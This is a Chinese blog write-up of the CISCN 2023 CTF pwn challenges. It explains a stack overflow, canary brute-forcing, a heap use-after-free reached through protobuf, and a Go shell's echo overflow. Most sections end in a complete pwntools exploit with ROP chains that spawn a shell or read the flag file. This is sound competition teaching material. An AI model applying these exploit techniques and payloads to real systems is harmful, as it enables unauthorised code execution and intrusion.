CISCN 2023 初赛pwn部分wp & 复现

Static Lv2

前言

第一次打国赛,题目基本大部分都是见过的类型吧,可是还是再多看一眼就会爆炸,烧烤摊儿和funcanary基本可以秒,还有一道加了点protobuf的堆orw比赛时没出,因为时间不够了,有点慌,打__free_hook的时候链表伪造成了一坨,然后就是扣了所有符号表的静态链接go题(正好被go贼多的函数恶心到了,但是Wings✌直接调出来了,直接膜拜),貌似是我的IDA没装好,装的插件都用不了,赛后换了个IDA使用finger直接可以还原出来一部分函数名。最后盲pwn用侧信道没想到,还有个PDC 0解,根本没看,这两道完全不能理解,爬了。

0x00. 烧烤摊儿

静态链接程序,先整形溢出,然后在改名选项中存在栈溢出,直接ROP getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

io = remote('39.107.137.13',20469)
#io = process('./shaokao')
elf = ELF('./shaokao')

def DEBUG():
attach(io)
pause()

def menu(choice):
io.recvuntil(b'> ')
io.sendline(str(choice).encode())

syscall = 0x402404
pop_rdi = 0x40264f
pop_rsi = 0x40a67e
pop_rax = 0x458827
pop_rdx_rbx = 0x4a404b

#整形溢出
menu(1)
io.sendline(b'1')
io.sendline(b'-999999999')
menu(4)

#栈溢出
menu(5)
payload = b'/bin/sh\x00'+b'A'*0x20+p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(0x4e60f0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(syscall)
io.sendline(payload)

io.interactive()

0x01. funcanary

多线程爆破canary,然后还需要partial overwrite小爆破一手

打远程太慢了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
from pwn import*
#from Crypto.Util.number import long_to_bytes
context.log_level = 'debug'

io = remote('47.94.206.10', 24045)
#io = process('./funcanary')
elf = ELF('./funcanary')

def DEBUG():
attach(io)
pause()
def rec():
io.recvuntil(b'welcome\n')

i = 0
canary = b'\x00'
for j in range(1, 8):
i = 0
for i in range(0xff):
rec()
io.send(b'A'*0x68+canary+p8(i))
msg = io.recvline()
if b'stack' in msg:
print("error")
print(j, i, canary)
else:
canary += p8(i)
print(j, i, canary)
break

i = 0
for i in range(0x10):
rec()
io.send(b'A'*0x68+canary+b'A'*8+b'\x31'+p8(2+0x10*i))

0x02. StrangeTalkBot

这道题要想和程序交互,必须用它对应的格式,至于格式是啥,这道题把所有判断格式的逻辑一起塞在了一个函数里面了

1
2
3
4
5
6
7
8
9
10
11
12
  while ( 1 )
{
memset(&input, 0, 0x400uLL);
puts("You can try to have friendly communication with me now: ");
input_len = read(0, &input, 0x400uLL);
v4 = (_QWORD *)sub_192D(0LL, input_len, &input);
if ( !v4 )
break;
sub_155D(v4[3], v4[4], v4[5], v4[6], v4[7]);
}
sub_1329(0LL, input_len);
}

也就是sub_192D函数中,在sub_155D中是堆菜单

当时看到"BINARYBF-c/BINARYBF-c.c"时以为还有brainfuck,但是我复制了一部分伪代码给bing看的时候,它说这段代码使用了protobuf,而且Wings也说是用了protobuf,然后就去装库了,装了好长时间,最后网上找了个在线工具可以直接根据格式给出对应序列化后的值,https://yura415.github.io/js-protobuf-encode-decode/ 例如:

1
2
3
4
5
6
{
"actionid": 1,
"msgidx":2,
"msgsize":3,
"msgcontent":">>>>>>>>"
}
1
2
3
4
5
6
7
message Devicemsg
{
required sint32 actionid;
required sint32 msgidx;
required sint32 msgsize;
required string msgcontent;
}

然后要做的就是堆orw了,在free时存在UAF,size不能大于0xf0,index不能大于0x20

可以直接unsorted bin泄露libc,然后tcache poison__free_hook为一个特殊gadget

1
0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

在堆块上对应位置构造setcontext+61和ROP链就可以orw了(可以用工具构造,不过我比较习惯调试+手动)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
from pwn import*
context(arch='x86_64', log_level='debug')

io = process('./talkbot')
elf = ELF('./talkbot')
libc = ELF('./libc-2.31.so')

def DEBUG():
attach(io)
pause()

def rec():
io.recvuntil(b'You can try to have friendly communication with me now: \n')

#泄露libc
rec()
io.send(b'\x08\x02\x10\x00\x18\xe0\x03\x22\x01\x41') #add(0, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x02\x18\xe0\x03\x22\x01\x41') #add(1, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x04\x18\xe0\x03\x22\x01\x41') #add(2, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x06\x18\xe0\x03\x22\x01\x41') #add(3, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x08\x18\xe0\x03\x22\x01\x41') #add(4, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x0a\x18\xe0\x03\x22\x01\x41') #add(5, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x0c\x18\xe0\x03\x22\x01\x41') #add(6, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x0e\x18\xe0\x03\x22\x01\x41') #add(7, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x10\x18\x20\x22\x01\x41') #add(8, 16, b'A')
rec()
io.send(b'\x08\x08\x10\x00\x18\xC0\x02\x22\x01\x41') #free(0)
rec()
io.send(b'\x08\x08\x10\x02\x18\xC0\x02\x22\x01\x41') #free(1)
rec()
io.send(b'\x08\x08\x10\x04\x18\xC0\x02\x22\x01\x41') #free(2)
rec()
io.send(b'\x08\x08\x10\x06\x18\xC0\x02\x22\x01\x41') #free(3)
rec()
io.send(b'\x08\x08\x10\x08\x18\xC0\x02\x22\x01\x41') #free(4)
rec()
io.send(b'\x08\x08\x10\x0a\x18\xC0\x02\x22\x01\x41') #free(5)
rec()
io.send(b'\x08\x08\x10\x0c\x18\xC0\x02\x22\x01\x41') #free(6)
rec()
io.send(b'\x08\x08\x10\x0e\x18\xC0\x02\x22\x01\x41') #free(7)
rec()
io.send(b'\x08\x06\x10\x0e\x18\x00\x22\x01\x41') #show(7)

io.recv(0x70)
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x1ecbe0
log.success('libcbase ===> '+hex(libcbase))
__free_hook = libcbase + libc.symbols['__free_hook']
setcontext = libcbase + libc.symbols['setcontext']+61

rec()
io.send(b'\x08\x06\x10\x02\x18\x00\x22\x01\x41') #show(1)

heapbase = u64(io.recv(6).ljust(8, b'\x00'))-0x310
log.success('heapbase ===> '+hex(heapbase))
rsp = heapbase+0x760

ret = libcbase+0x23b6b
rec()
io.send(b'\x08\x04\x10\x04\x18\xe0\x03\x22\xf0\x01'+(p64(heapbase+0x5f0)+p64(heapbase+0x5f0)+p64(0)*2+p64(setcontext)+p64(0)*15+p64(rsp)+p64(ret)).ljust(0xf0, b'A')) #edit(2, p64(heapbase+0x5f0)+p64(heapbase+0x5f0)+p64(0)*2+p64(setcontext+61)+p64(0)*15+p64(rsp)) 0x5f0

#0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget = libcbase+0x151990

rec()
io.send(b'\x08\x04\x10\x0a\x18\x10\x22\x10'+p64(__free_hook)+p64(0)) #edit(1, __free_hook)

open_ = libcbase+libc.symbols['open']
read_ = libcbase+libc.symbols['read']
puts = libcbase+libc.symbols['puts']
pop_rdi = libcbase+0x23b6a
pop_rsi = libcbase+0x2601f
pop_rdx = libcbase+0x142c92
flag = heapbase+0x848
#布置ROP
rec()

io.send(b'\x08\x04\x10\x06\x18\xe0\x03\x22\xf0\x01'\
+p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_)\
+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag)+p64(pop_rdx)+p64(0x50)+p64(read_)\
+p64(pop_rdi)+p64(flag)+p64(puts)+p64(0)*12+b'flag'+p32(0))\
#edit(3, p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag)+p64(pop_rdx)+p64(0x50)+p64(read_)+p64(pop_rdi)+p64(flag)+p64(puts)+p64(0)*12+b'flag\x00')


rec()
io.send(b'\x08\x02\x10\x14\x18\xe0\x03\x22\x08'+p64(gadget)) #add(10, 0xf0, b'A')

'''
0x00007fafa4536f5d <+61>: mov rsp,QWORD PTR [rdx+0xa0]
0x00007fafa4536f64 <+68>: mov rbx,QWORD PTR [rdx+0x80]
0x00007fafa4536f6b <+75>: mov rbp,QWORD PTR [rdx+0x78]
0x00007fafa4536f6f <+79>: mov r12,QWORD PTR [rdx+0x48]
0x00007fafa4536f73 <+83>: mov r13,QWORD PTR [rdx+0x50]
0x00007fafa4536f77 <+87>: mov r14,QWORD PTR [rdx+0x58]
0x00007fafa4536f7b <+91>: mov r15,QWORD PTR [rdx+0x60]
'''
DEBUG()
rec()
io.send(b'\x08\x08\x10\x04\x18\x10\x22\x00') #free(2)

#DEBUG()

io.interactive()

0x03. Shell we go

一个扣掉所有符号的静态链接go程序(不用finger修复一下函数符号是真的一坨)

直接看程序连main函数都找不到,先运行下,根据ciscnshell跳转到一个最可能是main函数的地方

main函数基本就如下几步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
while ( 1 )
{
print_str();
input = get_input(1LL, 1LL);
if ( v9 )
{
exec();
}
v10 = sub_4C1900();
if ( v10 )
{
exec();
}
}

在调试时发现程序会进入sub_4c1900函数中,该函数中似乎有一部分无法正确反编译,因此需要看汇编

我们的目的是通过cert,因此使用cert查找字符串,找到了一个有趣的字符串Cert complete, you can explore more

通过引用找到了一个函数,很显然这个函数就是我们要到达的验证成功的地方,该函数为

1
2
3
4
5
6
7
8
9
10
qmemcpy(v9, "F1nallB1rd3K3y", 14);
crypto_rc4_NewCipher();
crypto_rc4__Cipher_XORKeyStream();
v7 = v10;
result = (_QWORD *)local_encoding_base64__Encoding_EncodeToString();
if ( !qword_5D1128 && v7 == 16 && *result == 'Sbp8XILJ' && result[1] == 'GaW/uZYv' )
{
result = (_QWORD *)fmt_Fprintf();
qword_5D1128 = 1LL;
}

可以看到使用了rc4加密,加密后还进行了base64编码,通过交叉引用找到了sub_4c1900引用该函数的地方

我们需要通过如下判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
.text:00000000004C19CD 48 8D 0D A4 78 04 00          lea     rcx, unk_509278
.text:00000000004C19D4 BF 01 00 00 00 mov edi, 1
.text:00000000004C19D9 31 F6 xor esi, esi
.text:00000000004C19DB 49 C7 C0 FF FF FF FF mov r8, 0FFFFFFFFFFFFFFFFh
.text:00000000004C19E2 E8 D9 CB FA FF call strings_genSplit
.text:00000000004C19E2
.text:00000000004C19E7 48 83 3D 39 F7 10 00 00 cmp cs:qword_5D1128, 0
.text:00000000004C19EF 75 33 jnz short loc_4C1A24
.text:00000000004C19EF
.text:00000000004C19F1 48 85 DB test rbx, rbx
.text:00000000004C19F4 0F 86 2B 03 00 00 jbe loc_4C1D25
.text:00000000004C19F4
.text:00000000004C19FA 48 8B 10 mov rdx, [rax]
.text:00000000004C19FD 48 83 78 08 04 cmp qword ptr [rax+8], 4
.text:00000000004C1A02 75 08 jnz short loc_4C1A0C
.text:00000000004C1A02
.text:00000000004C1A04 81 3A 63 65 72 74 cmp dword ptr [rdx], 'trec'
.text:00000000004C1A0A 74 18 jz short loc_4C1A24
...
.text:00000000004C1A24 loc_4C1A24: ; CODE XREF: sub_4C1900+EF↑j
.text:00000000004C1A24 ; sub_4C1900+10A↑j
.text:00000000004C1A24 48 85 DB test rbx, rbx
.text:00000000004C1A27 0F 86 EE 02 00 00 jbe loc_4C1D1B
.text:00000000004C1A27
.text:00000000004C1A2D 48 8B 10 mov rdx, [rax]
.text:00000000004C1A30 4C 8B 40 08 mov r8, [rax+8]
.text:00000000004C1A34 49 83 F8 03 cmp r8, 3
.text:00000000004C1A38 0F 8F 8B 01 00 00 jg loc_4C1BC9
...
.text:00000000004C1BC9 loc_4C1BC9: ; CODE XREF: sub_4C1900+138↑j
.text:00000000004C1BC9 49 83 F8 04 cmp r8, 4
.text:00000000004C1BCD 0F 85 B3 00 00 00 jnz loc_4C1C86
.text:00000000004C1BCD
.text:00000000004C1BD3 81 3A 63 65 72 74 cmp dword ptr [rdx], 'trec'
.text:00000000004C1BD9 75 7E jnz short loc_4C1C59
.text:00000000004C1BD9
.text:00000000004C1BDB 0F 1F 44 00 00 nop dword ptr [rax+rax+00h]
.text:00000000004C1BE0 48 83 FB 03 cmp rbx, 3
.text:00000000004C1BE4 75 5B jnz short loc_4C1C41
.text:00000000004C1BE4
.text:00000000004C1BE6 48 8B 48 10 mov rcx, [rax+10h]
.text:00000000004C1BEA 48 83 78 18 09 cmp qword ptr [rax+18h], 9
.text:00000000004C1BEF 75 1A jnz short loc_4C1C0B
.text:00000000004C1BEF
.text:00000000004C1BF1 48 BA 6E 41 63 44 73 4D 69 63 mov rdx, 'ciMsDcAn'
.text:00000000004C1BFB 0F 1F 44 00 00 nop dword ptr [rax+rax+00h]
.text:00000000004C1C00 48 39 11 cmp [rcx], rdx
.text:00000000004C1C03 75 06 jnz short loc_4C1C0B
.text:00000000004C1C03
.text:00000000004C1C05 80 79 08 4E cmp byte ptr [rcx+8], 4Eh ; 'N'
.text:00000000004C1C09 74 18 jz short loc_4C1C23
...
.text:00000000004C1C23 loc_4C1C23: ; CODE XREF: sub_4C1900+309↑j
.text:00000000004C1C23 48 8B 48 20 mov rcx, [rax+20h]
.text:00000000004C1C27 48 8B 58 28 mov rbx, [rax+28h]
.text:00000000004C1C2B 48 89 C8 mov rax, rcx
.text:00000000004C1C2E E8 6D F8 FF FF call previl_judge

可以看到程序会先分割我们输入的字符串,然后比较第一个字符串是否为cert,比较第二个字符串是否为nAcDsMicN,然后进入之后的判断函数

在判断函数中,会使用F1nallB1rd3K3y当作key来对我们输入的第三个参数进行加密,并进行base64编码,然后和正确值比较,成功则给予权限

解密JLIX8pbSvYZu/WaG后获得S33UAga1n@#!,因此我们需要输入cert nAcDsMicN S33UAga1n@#!来进行验证,之后就可以正常交互了。

可用的命令为lsechocatwhoamiexitcd,相关汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
cd:
.text:00000000004C1A4A 66 81 3A 63 64 cmp word ptr [rdx], 'dc'
.text:00000000004C1A4F 75 38 jnz short loc_4C1A89
.text:00000000004C1A4F
.text:00000000004C1A51 48 83 FB 02 cmp rbx, 2
.text:00000000004C1A55 7D 18 jge short loc_4C1A6F
...
.text:00000000004C1A6F 48 8B 48 10 mov rcx, [rax+10h]
.text:00000000004C1A73 48 8B 58 18 mov rbx, [rax+18h]
.text:00000000004C1A77 48 89 C8 mov rax, rcx
.text:00000000004C1A7A E8 01 53 FD FF call os_Chdir

ls:
.text:00000000004C1A89 66 81 3A 6C 73 cmp word ptr [rdx], 'sl'
.text:00000000004C1A8E 0F 85 54 02 00 00 jnz loc_4C1CE8
.text:00000000004C1A8E
.text:00000000004C1A94 44 0F 11 7C 24 60 movups [rsp+78h+var_18], xmm15
.text:00000000004C1A9A 48 8D 15 FD 34 02 00 lea rdx, aAl ; "-al"
.text:00000000004C1AA1 48 89 54 24 60 mov qword ptr [rsp+78h+var_18], rdx
.text:00000000004C1AA6 48 C7 44 24 68 03 00 00 00 mov qword ptr [rsp+78h+var_18+8], 3
.text:00000000004C1AAF 48 8D 05 B5 34 02 00 lea rax, aLs ; "ls"
.text:00000000004C1AB6 BB 02 00 00 00 mov ebx, 2
.text:00000000004C1ABB 48 8D 4C 24 60 lea rcx, [rsp+78h+var_18]
.text:00000000004C1AC0 BF 01 00 00 00 mov edi, 1
.text:00000000004C1AC5 48 89 FE mov rsi, rdi
.text:00000000004C1AC8 E8 53 21 FE FF call sub_4A3C20

cat:
.text:00000000004C1B33 66 81 3A 63 61 cmp word ptr [rdx], 'ac'
.text:00000000004C1B38 0F 85 AA 01 00 00 jnz loc_4C1CE8
.text:00000000004C1B38
.text:00000000004C1B3E 80 7A 02 74 cmp byte ptr [rdx+2], 74h ; 't'
.text:00000000004C1B42 0F 85 A0 01 00 00 jnz loc_4C1CE8
.text:00000000004C1B42
.text:00000000004C1B48 48 83 FB 01 cmp rbx, 1
.text:00000000004C1B4C 0F 86 BC 01 00 00 jbe loc_4C1D0E
.text:00000000004C1B4C
.text:00000000004C1B52 48 8B 50 10 mov rdx, [rax+10h]
.text:00000000004C1B56 48 83 78 18 04 cmp qword ptr [rax+18h], 4
.text:00000000004C1B5B 75 08 jnz short loc_4C1B65
.text:00000000004C1B5B
.text:00000000004C1B5D 81 3A 66 6C 61 67 cmp dword ptr [rdx], 'galf'
.text:00000000004C1B63 74 18 jz short loc_4C1B7D
...
.text:00000000004C1B7D loc_4C1B7D: ; CODE XREF: sub_4C1900+263↑j
.text:00000000004C1B7D 44 0F 11 7C 24 40 movups [rsp+78h+var_38], xmm15
.text:00000000004C1B83 48 8D 15 56 B7 00 00 lea rdx, unk_4CD2E0
.text:00000000004C1B8A 48 89 54 24 40 mov qword ptr [rsp+78h+var_38], rdx
.text:00000000004C1B8F 48 8D 15 1A 78 04 00 lea rdx, off_5093B0 ; "flag{Tm93YXkuWW91IFRydXN0IE1lIFRoaXMgVG"...
.text:00000000004C1B96 48 89 54 24 48 mov qword ptr [rsp+78h+var_38+8], rdx
.text:00000000004C1B9B 48 8B 1D 86 10 0E 00 mov rbx, cs:qword_5A2C28
.text:00000000004C1BA2 48 8D 05 AF 7D 04 00 lea rax, off_509958
.text:00000000004C1BA9 48 8D 4C 24 40 lea rcx, [rsp+78h+var_38]
.text:00000000004C1BAE BF 01 00 00 00 mov edi, 1
.text:00000000004C1BB3 48 89 FE mov rsi, rdi
.text:00000000004C1BB6 E8 25 96 FD FF call print_str

echo:
.text:00000000004C1C59 81 3A 65 63 68 6F cmp dword ptr [rdx], 'ohce'
.text:00000000004C1C5F 90 nop
.text:00000000004C1C60 74 11 jz short loc_4C1C73
...
.text:00000000004C1C73 loc_4C1C73: ; CODE XREF: sub_4C1900+360↑j
.text:00000000004C1C73 E8 A8 FA FF FF call sub_4C1720

exit:
.text:00000000004C1C62 81 3A 65 78 69 74 cmp dword ptr [rdx], 'tixe'
.text:00000000004C1C68 75 7E jnz short loc_4C1CE8
.text:00000000004C1C68
.text:00000000004C1C6A 31 C0 xor eax, eax
.text:00000000004C1C6C E8 AF 5D FD FF call sub_497A20

whoami:
.text:00000000004C1C8C 81 3A 77 68 6F 61 cmp dword ptr [rdx], 'aohw'
.text:00000000004C1C92 75 54 jnz short loc_4C1CE8
.text:00000000004C1C92
.text:00000000004C1C94 66 81 7A 04 6D 69 cmp word ptr [rdx+4], 'im'
.text:00000000004C1C9A 75 4C jnz short loc_4C1CE8
.text:00000000004C1C9A
.text:00000000004C1C9C 44 0F 11 7C 24 50 movups [rsp+78h+var_28], xmm15
.text:00000000004C1CA2 48 8D 15 37 B6 00 00 lea rdx, unk_4CD2E0
.text:00000000004C1CA9 48 89 54 24 50 mov qword ptr [rsp+78h+var_28], rdx
.text:00000000004C1CAE 48 8D 15 EB 76 04 00 lea rdx, off_5093A0 ; "nightingale"
.text:00000000004C1CB5 48 89 54 24 58 mov qword ptr [rsp+78h+var_28+8], rdx
.text:00000000004C1CBA 48 8B 1D 67 0F 0E 00 mov rbx, cs:qword_5A2C28
.text:00000000004C1CC1 48 8D 05 90 7C 04 00 lea rax, off_509958
.text:00000000004C1CC8 48 8D 4C 24 50 lea rcx, [rsp+78h+var_28]
.text:00000000004C1CCD BF 01 00 00 00 mov edi, 1
.text:00000000004C1CD2 48 89 FE mov rsi, rdi
.text:00000000004C1CD5 E8 06 95 FD FF call print_str

cd命令直接调用了库函数,ls命令会以ls -la执行,使用cat命令会提示Permission denial,而cat flag时会给你一个假的flag,echo命令call了一个函数去执行,这里看一下这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
v10 = "unk_func0b04:";
while ( v8 < v7 )
{
v17 = v8;
v22 = v6;
v3 = (__int64)v6[1];
v2 = *v6;
v11 = runtime_concatstring2();
if ( v3 > 0x200 )
return 0LL;
v6 = v22 + 2;
v7 = v18;
v9 = (__int64)v10;
v10 = (const char *)v11;
v8 = v17 + 1;
}
v16 = v9;
v23 = runtime_stringtoslicebyte();
v24 = (unsigned __int64)v10;
v25 = v13;
for ( i = 0LL; (__int64)i < v16; ++i )
{
if ( i >= v24 )
sub_462420((__int64)v2, v3, v24);
v15 = *(unsigned __int8 *)(v23 + i);
if ( (_BYTE)v15 != '+' )
{
if ( i >= 0x400 )
sub_462420((__int64)v2, v3, v15);
*((_BYTE *)&v19 + i) = v15; //拷贝到栈
}
}
sub_4C1620();

硬看这个函数的话,有点丑,可以直接输入进行调试,这里会将后面用空格隔开的参数连接起来(每个参数的长度不超过0x200),并拷贝到栈中,其中会跳过+符号,因此可以直接覆盖栈返回地址进行ROP. 打本地可以直接读入/bin/sh,然后getshell。但是远程只能orw得到flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

#io = remote('node4.anna.nssctf.cn',28634)
io = process('./shell')
elf = ELF('./shell')

def DEBUG():
attach(io, 'b *0x4c1887')
pause()

#DEBUG()

pop_rdi = 0x444fec
pop_rsi = 0x41e818
pop_rdx = 0x49e11d
pop_rax = 0x40d9e6
syscall = 0x40328c
flag = 0x4c3a6d
bss = 0x5d0000

io.recvuntil(b'ciscnshell$ ')
io.sendline(b'cert nAcDsMicN S33UAga1n@#!')

io.recvuntil(b'nightingale# ')
payload = p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)\
+p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x50) + p64(pop_rax) + p64(0) + p64(syscall)\
+p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x50) + p64(pop_rax) + p64(1) + p64(syscall)
io.sendline(b'echo '+b'A'*0x100+b' '+b'B'*0xf0+b'+'*0x10+b' '+b'+'*0x10+b'C'*0x13+payload)

io.interactive()
  • Title: CISCN 2023 初赛pwn部分wp & 复现
  • Author: Static
  • Created at : 2024-03-10 16:33:15
  • Updated at : 2024-03-10 16:33:05
  • Link: https://staticccccccc.github.io/2024/03/10/CTFS-wp/CISCN2023_WP/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
CISCN 2023 初赛pwn部分wp & 复现